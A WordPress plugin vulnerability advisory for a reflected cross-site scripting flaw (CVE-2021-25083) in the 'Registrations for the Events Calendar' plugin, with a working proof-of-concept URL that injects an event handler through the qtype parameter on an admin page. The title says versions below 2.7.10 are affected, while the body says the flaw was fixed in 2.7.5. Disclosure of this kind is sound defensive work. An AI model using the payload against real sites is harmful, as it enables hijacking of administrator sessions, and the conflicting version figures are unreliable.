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WordPress Plugin Vulnerabilities

Registrations for the Events Calendar < 2.7.10 - Reflected Cross-Site Scripting

Description

The plugin does not escape the qtype parameter before outputting it back in an attribute in the settings page, leading to a Reflected Cross-Site Scripting

Proof of Concept

http://example.com/wp-admin/admin.php?page=registrations-for-the-events-calendar&qtype=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+p%3D 

Affects Plugins

registrations-for-the-events-calendar
Fixed in version 2.7.5

References

CVE
CVE-2021-25083
URL
https://plugins.trac.wordpress.org/changeset/2648377

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
9b69544d-6a08-4757-901b-6ccf1cd00ecc

Timeline

Publicly Published

2021-12-27 (about 1 years ago)

Added

2021-12-27 (about 1 years ago)

Last Updated

2022-04-09 (about 10 months ago)

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